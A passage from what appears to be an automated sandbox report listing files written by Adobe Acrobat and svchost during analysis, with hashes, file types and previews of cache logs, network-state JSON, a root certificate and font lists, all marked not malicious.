SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	EA58281A1B2E8839778553001AED4309
SHA1:	C5CECF663DE5F0E1C23496C4D846DDD3E6019958
SHA-256:	3198B2375FD8367003506F08BD96315CFF0E8EBB6EB82A81CF07437F4923722A
SHA-512:	7DA5317BC194DAA3927BC520463D19F5857FC8A4EF8E2F44511DAEA6A5D161BFF87D65EB774FFA3A83C2A44B485464BBEDBAF7223AF608BA6B798F0B62BE004C
Malicious:	false
Preview:	...(... .......7.......X\...;...{......................0.e......!...{?.,....}C.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.....................................$,....}a.................B.Z.,....}a..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07826330534120085
Encrypted:	false
SSDEEP:	3:heml6Ye+XM0c3NaAPaU1lMnvRM//AlluxmO+l/SNxOf:V6zUM0ENDPaUGvRMXAgmOH
MD5:	3510AEF43C7271C1E320930805CD5DDC
SHA1:	2ABAB971A18FBA92F4740B972794ABAC3F02705B
SHA-256:	EF2B004526EB32946AA1F3D9A086E6C8FF74B257FAFE0507A81F5F855F4AAA10
SHA-512:	E1ED3F49EA8F9DD08E4031C527EDE05CFDFA337DCFC395E6EB901DBCDF07D5116AF860E2DF4A8C7419538E4B4BAD5DFCB9BC3B57DFF40595B4C02182B10DE6F5
Malicious:	false
Preview:	9u%......................................;...{..,....}a..!...{?..........!...{?..!...{?..g...!...{?.................B.Z.,....}a.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.171899257222066
Encrypted:	false
SSDEEP:	6:iO4E31yq2PN72nKuAl9OmbnIFUtSq3j1Zmwsq31RkwON72nKuAl9OmbjLJ:7j4vVaHAahFUtT3j1/13D5OaHAaSJ
MD5:	335077C6C5446113F3EDF8C08D0AEA81
SHA1:	3641CE669F0E9AB0E88048F586818EA269AB2955
SHA-256:	485578574F565D6F9D68ABCFEEA7F375CFC638745DE660B9E96D157EAAC656E4
SHA-512:	87B3949D16AB1A8D2F1F3B08090587CF3CAB5D1B3F9A23942A66C3E3EB94A1EF212CE595005B60C09B2FAB145A0C85AF51F4CAE01FE74BD1675C9205A1CB9A96
Malicious:	false
Preview:	2025/01/10-14:23:43.610 7e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:23:43.612 7e4 Recovering log #3.2025/01/10-14:23:43.612 7e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.171899257222066
Encrypted:	false
SSDEEP:	6:iO4E31yq2PN72nKuAl9OmbnIFUtSq3j1Zmwsq31RkwON72nKuAl9OmbjLJ:7j4vVaHAahFUtT3j1/13D5OaHAaSJ
MD5:	335077C6C5446113F3EDF8C08D0AEA81
SHA1:	3641CE669F0E9AB0E88048F586818EA269AB2955
SHA-256:	485578574F565D6F9D68ABCFEEA7F375CFC638745DE660B9E96D157EAAC656E4
SHA-512:	87B3949D16AB1A8D2F1F3B08090587CF3CAB5D1B3F9A23942A66C3E3EB94A1EF212CE595005B60C09B2FAB145A0C85AF51F4CAE01FE74BD1675C9205A1CB9A96
Malicious:	false
Preview:	2025/01/10-14:23:43.610 7e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:23:43.612 7e4 Recovering log #3.2025/01/10-14:23:43.612 7e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.17118496119033
Encrypted:	false
SSDEEP:	6:iO4Kcyq2PN72nKuAl9Ombzo2jMGIFUtSdU01ZmwsdVglRkwON72nKuAl9Ombzo23:7vvVaHAa8uFUtp01/t5OaHAa8RJ
MD5:	B20A806B4CACC197706F71627BD0955F
SHA1:	7E0DED02A030E0A9A55B23A392BC9266BBEF43F3
SHA-256:	87AC7ABBE33DAD3E9D29D2EE86962059CC149B1E2A4D39AE347965F0F7858B9E
SHA-512:	98D2F031FE99CD7303AA2FC694CB8EF64BAA6FB45F811D154F38EB4FEF7880F1B696ED647D96597563CC5E0B75CC20B117069463C5BBCA3B56DC19C2DCA140A7
Malicious:	false
Preview:	2025/01/10-14:23:43.678 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:23:43.681 1c14 Recovering log #3.2025/01/10-14:23:43.682 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.17118496119033
Encrypted:	false
SSDEEP:	6:iO4Kcyq2PN72nKuAl9Ombzo2jMGIFUtSdU01ZmwsdVglRkwON72nKuAl9Ombzo23:7vvVaHAa8uFUtp01/t5OaHAa8RJ
MD5:	B20A806B4CACC197706F71627BD0955F
SHA1:	7E0DED02A030E0A9A55B23A392BC9266BBEF43F3
SHA-256:	87AC7ABBE33DAD3E9D29D2EE86962059CC149B1E2A4D39AE347965F0F7858B9E
SHA-512:	98D2F031FE99CD7303AA2FC694CB8EF64BAA6FB45F811D154F38EB4FEF7880F1B696ED647D96597563CC5E0B75CC20B117069463C5BBCA3B56DC19C2DCA140A7
Malicious:	false
Preview:	2025/01/10-14:23:43.678 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:23:43.681 1c14 Recovering log #3.2025/01/10-14:23:43.682 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2b61ce7c-748a-4024-8b1c-f59a4ff56ac4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.977624390459314
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwRsBdOg2HBcaq3QYiubcP7E4T3y:Y2sRdsQdMH43QYhbA7nby
MD5:	D553EC326FA21C6DC9AEBF520FB09DE0
SHA1:	3DCC5616AA5084726B0752B1E8118C43D802144B
SHA-256:	467C63796CD3B42785657DE1CC4BCB374518F26D7AC2F93BC05C91B80590CDE4
SHA-512:	AFEBB613DEB05A97376DC6102C7C2E271E000581ED846A0E292D542DA8764B3265880BCC739C0D3FE0B626032B547467145C31C3C6385D4EA27FD0B527794E6F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381097035751205","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138966},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.977624390459314
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwRsBdOg2HBcaq3QYiubcP7E4T3y:Y2sRdsQdMH43QYhbA7nby
MD5:	D553EC326FA21C6DC9AEBF520FB09DE0
SHA1:	3DCC5616AA5084726B0752B1E8118C43D802144B
SHA-256:	467C63796CD3B42785657DE1CC4BCB374518F26D7AC2F93BC05C91B80590CDE4
SHA-512:	AFEBB613DEB05A97376DC6102C7C2E271E000581ED846A0E292D542DA8764B3265880BCC739C0D3FE0B626032B547467145C31C3C6385D4EA27FD0B527794E6F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381097035751205","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138966},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252774367695995
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7PHGNz:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhk
MD5:	7CA1667AFCDDAEC33BF43893A644F50B
SHA1:	E5DE28BA6119090D9F372CE414370C04C5D7BFAC
SHA-256:	884B379625069737ED585D79FA9ABFAAF9496A880BEDB22D2836521EAE802C96
SHA-512:	A22F790EB787C80D13B9A008EDA80134485649B6231E84D9B0AFD2176FA7AD9B22D0A94E0EBEDBA0178B6DB5EDE03DF63164E69DC4E7A4D81D3C196FCE124EAC
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.152863436560141
Encrypted:	false
SSDEEP:	6:iO45Qyq2PN72nKuAl9OmbzNMxIFUtS5o1Zmws5+RkwON72nKuAl9OmbzNMFLJ:70vVaHAa8jFUt71/h5OaHAa84J
MD5:	801426508033A5DFED28C985FF2BE347
SHA1:	FF8DC2261182A1678442EE55CEF063C6A87394BF
SHA-256:	C8CEEF3BACB30E3F9071D74978FA2BAA99361467754AD172F27E35C2311150F3
SHA-512:	8D3ACC3F6DBA2D6F9F68997B02F9EACE06B4353C6FF515DCBFED9B72CD844039335749F27FA1B41545341E462E2A6337490D7ED39452421974276D9835D3EF7E
Malicious:	false
Preview:	2025/01/10-14:23:43.824 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:23:43.826 1c14 Recovering log #3.2025/01/10-14:23:43.826 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.152863436560141
Encrypted:	false
SSDEEP:	6:iO45Qyq2PN72nKuAl9OmbzNMxIFUtS5o1Zmws5+RkwON72nKuAl9OmbzNMFLJ:70vVaHAa8jFUt71/h5OaHAa84J
MD5:	801426508033A5DFED28C985FF2BE347
SHA1:	FF8DC2261182A1678442EE55CEF063C6A87394BF
SHA-256:	C8CEEF3BACB30E3F9071D74978FA2BAA99361467754AD172F27E35C2311150F3
SHA-512:	8D3ACC3F6DBA2D6F9F68997B02F9EACE06B4353C6FF515DCBFED9B72CD844039335749F27FA1B41545341E462E2A6337490D7ED39452421974276D9835D3EF7E
Malicious:	false
Preview:	2025/01/10-14:23:43.824 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:23:43.826 1c14 Recovering log #3.2025/01/10-14:23:43.826 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444778305865728
Encrypted:	false
SSDEEP:	384:SeUci5tViBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:8+s3OazzU89UTTgUL
MD5:	A2189A598F30CDF9D9C78444F853BF4D
SHA1:	50B694A072AEF58B02F751755D21A7C73D31DCFE
SHA-256:	71305CB35DDE571D4FA503FB1CDFB507D22C075E08C2356800D4BCD4AA6E9455
SHA-512:	B6266906687AB39CB1718701110408692FF1F479B89674F1F658D510529FD2198C27AC41645D9E179C849915B9DFE253C8E3FF36A2BBC6C8B50D25935075026E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2128891359756673
Encrypted:	false
SSDEEP:	24:7+txZr7nuwKMqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfr:7MxtnCMqPmFTIF3XmHjBoGGR+jMz+LhT
MD5:	48008D4F3FB8C2F1C88FE7E232334C41
SHA1:	1CA088E962B92C49976DD8A70B7A8F445D3F113C
SHA-256:	C0A2F30369FC9EA5DC475DAC53A95EF52E52603C09A0C701FBD0AAEAAE30B8E4
SHA-512:	DC3B0279C94FE4C5B866C429EC8E066217675A458F1675D4C3BC0F8F83B12E40532ADA5D4B400EC876FD3DC0F02D45F519FF5110E871B8AFF7D5F37725CC3B99
Malicious:	false
Preview:	.... .c......B4h........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklGZpE/ltfllXlE/HT8k+lZNNX8RolJuRdxLlGB9lQRYwpDdt:kKfzseT8D3NMa8RdWBwRd
MD5:	D22AE92123E4000C7E98E34915D42D88
SHA1:	B03EB066CCDF00CA134E721DE79F245C536788D8
SHA-256:	675B1AAEC00EF8E88593E9725B445F4EF4ABC9A0A15C8BD68C461EE219E7ADC9
SHA-512:	4ED189676BEB4060AA0537A00FB5481542B308C2C02793284D4CF39CE650EFAAD98EF737B51649CA971EF8FEDFB329B420F884FEA4C5E44F3882029C7F968B6B
Malicious:	false
Preview:	p...... .........%.0.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6264

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6264

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
